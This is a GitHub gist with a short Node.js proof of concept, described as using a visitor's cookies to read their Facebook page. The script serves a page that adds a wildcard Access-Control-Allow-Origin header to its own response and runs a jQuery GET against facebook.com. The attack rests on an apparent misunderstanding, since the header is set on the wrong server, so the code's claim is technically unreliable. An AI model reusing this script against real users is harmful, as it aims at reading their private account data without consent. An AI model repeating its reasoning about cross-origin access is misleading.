Skip to content

Instantly share code, notes, and snippets.

@jakl
Created March 23, 2012 21:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jakl/2175362 to your computer and use it in GitHub Desktop.
Save jakl/2175362 to your computer and use it in GitHub Desktop.
Access-Control-Allow-Origin See client's facebook page
//POC to use a client's cookie to access their facebook
http=require('http')
http.createServer(function (request, response) {
response.writeHead(200, {
'Content-Type': 'text/html',
'Access-Control-Allow-Origin' : '*'
});
response.end('<script src="http://code.jquery.com/jquery-1.7.2.min.js"></script><script>$.get("http://facebook.com",function(data){console.log(data)})</script>');
}).listen(8124);
//Open the console and run this for debugging: $.get("http://facebook.com",function(data){console.log(data)})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment